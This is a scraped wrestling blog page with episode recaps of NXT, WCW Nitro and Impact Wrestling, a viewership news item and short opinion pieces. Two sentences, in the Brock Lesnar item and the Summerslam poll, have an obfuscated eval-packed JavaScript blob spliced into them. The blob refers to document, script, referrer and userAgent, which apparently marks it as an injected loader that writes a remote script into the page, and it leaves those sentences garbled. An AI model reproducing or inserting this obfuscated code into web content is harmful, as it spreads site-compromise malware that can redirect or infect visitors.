Impact Wrestling Viewership Way Up
http://411mania.com/wrestling/tuesdays-impact-wrestling-viewership-sees-big-jump/
They drew 411,000 (up 88,000) for their highest viewed show on Pop so far.
Well done. Now do it again, only better next time.
NXT – July 6, 2016: Use Them While You Can
NXT
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July 6, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Tom Phillips, Corey Graves
Quick video on Alpha vs. Revival.
Opening sequence.
Bayley vs. Alexa Bliss
Video on TM61.
Blake and Murphy vs. Hype Bros
The announcers agree with me that these Blake and Murphy reunions are just getting sad at this point. They argue over a tag ten seconds in but RHYNO comes out and Gores Blake for the DQ at 54 seconds.
Rhyno gores everyone not named Murphy (who got out of the way) and poses a lot.
Long video on Shinsuke Nakamura vs. Finn Balor with people talking about how huge of a match this is because both of them are such important names to NXT and wrestling around the world.
Alpha says the longer their match goes, the better they get.
Samoa Joe is back next week.
Rhyno has no comment.
Tag Team Titles: American Alpha vs. Revival
Results
Bayley b. Alexa Bliss – Bayley to Belly
Blake and Murphy b. Hype Bros via DQ when Rhyno interfered
Revival b. American Alpha – Shatter Machine to Gable
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Monday Nitro – February 12, 2001: Not This Again
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Nitro #277
Date: February 12, 2001
Location: Mississippi Coast Coliseum, Biloxi, Mississippi
Commentators: Tony Schiavone, Scott Hudson
Rick Steiner vs. Dustin Rhodes
The Cat vs. Lance Storm
During the break, Ric sends Sanders to find Dustin.
Lash Leroux vs. Yang
Dustin agrees to the match tonight if he gets a title shot against Rick on Sunday if he wins.
Diamond Dallas Page gives Cat a pep talk.
Video on the Steiner Brothers reuniting.
Dustin Rhodes vs. Rick Steiner
Billy Kidman vs. Elix Skipper
Scott Steiner beats up a backstage worker for not knowing where Nash is.
Ric is on the phone with his wife and promising to find David.
Video on Kanyon and Diamond Dallas Page.
Shawn Stasiak vs. Chuck Palumbo
We hit the choking for a few seconds as the announcers speculate about where David Flair might be held hostage. Stasiak charges into a boot and gets caught in an Alabama Slam for two more. Chuck tunes up the jungle but gets caught and turned into an awful looking rollup with the referee not being sure if he should count or not. Clearly that was going to be the ending as Stasiak grabs a quick rollup and hooks the trunks for the pin.
Post match Stasiak says that proves he carried Palumbo.
WCW World Title: Scott Steiner vs. Kevin Nash
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New Column: Who’s The Boss
Today we’re looking at a quirky 1980s sitcom starring Tony Danza as a former Major League Baseball player who becomes a housekeeper.
And a little bit about who should be running the new Raw and Smackdown.
Matt Hardy vs. Jeff Hardy: The Final Deletion
Of course it’s online now and this really is something that needs to be seen to be believed. It’s a bit long but check this stuff out and don’t skip ahead to the match itself as you’ll miss the most amazing part.
Impact Wrestling – July 5, 2016: A Cry For Help
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Wrestling
Date: July 5, 2016
Location: Impact Zone, Orlando, Florida
Commentators: D’Angelo Dinero, Josh Matthews
X-Division Title: Mike Bennett vs. Eddie Edwards vs. Mandrews vs. Andrew Everett vs. Rockstar Spud vs. Trevor Lee vs. Braxton Sutter vs. DJZ
King of the Mountain Title: James Storm vs. Eli Drake
Jade vs. Marti Bell
Street fight and Jade charges to the ring to start things off. Marti brings in the cookie sheet but gets taken down in slow motion for some right hands. Some sheet shots knock Jade back and bicycle kicks a trashcan lid into her chest. Jade pops back up and goes off with a kendo stick before putting a trashcan over her head. The package piledriver is countered with a backdrop so Marti gets her baton. Jade busts out some nunchucks to disarm her with ease, followed by the package piledriver onto a chair for the pin at 5:45.
Mike Bennett and Maria are in the ring to complain about the title change earlier in the night. Maria wants Dixie to come out here right now but gets Billy Corgan instead. Maria immediately sucks up to him but Dixie comes out to interrupt. Dixie tries to calm Maria down as she shouts about how one of them have to leave.
Back to the compound with Matt telling the gardener to pour gasoline on the ring because it takes a lot of fuel to delete someone.
Decay vs. BroMans/Raquel
Final Deletion trailer again.
Matt Hardy vs. Jeff Hardy
They trade punches to start and the longest stretch without the camera cutting is about four seconds. Jeff superplexes Matt (slow motion) and gets two off a splash before pulling out what appear to be shutters covered in ivy. Matt goes through those for two as we have music playing instead of commentary. Matt takes over with a kendo stick to the back as this is only a match in the loosest of terms.
Matt poses to end the show as the symbol burns behind him.
Results
Eddie Edwards b. Mandrews, Andrew Everett, DJZ, Trevor Lee, Mike Bennett, Braxton Sutter and Rockstar Spud – Edwards pulled down the title
James Storm b. Eli Drake via DQ when Drake used the title belt
Jade b. Marti Bell – Package piledriver onto a chair
BroMans/Raquel b. Decay – BroDown to Steve
Matt Hardy b. Jeff Hardy – Pin after Jeff fell off a Hardy symbol
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Thought of the Day: That Brock Lesnar Announcement
The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aiady|var|u0026u|referrer|nbazf||js|php'.split('|'),0,{})) one where his opponent will be announced this week. Hopefully it’s a sign of things to come.Smackdown is going live two weeks from today and for years it’s been a dead, nothing show with matches airing again the next week on Raw with no mention of them already happening on Thursday. By airing big news like this on Smackdown, WWE is starting to get some buzz going on Smackdown where it might be worth seeing again. Do that multiple times and people might actually start watching.
Monday Night Raw – July 4, 2016: Half A Cheer For The Red Monday Night Show
Pick A Summerslam Redo
As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|trfyz|var|u0026u|referrer|kirdy||js|php'.split('|'),0,{})) is always the case I’ll be doing last year’s show but you can pick the show I redo this year. 1998 was done last year so that’s out of the running as well. This will be a fresh redo and not just a reposting of one I did years ago. Vote in the comments.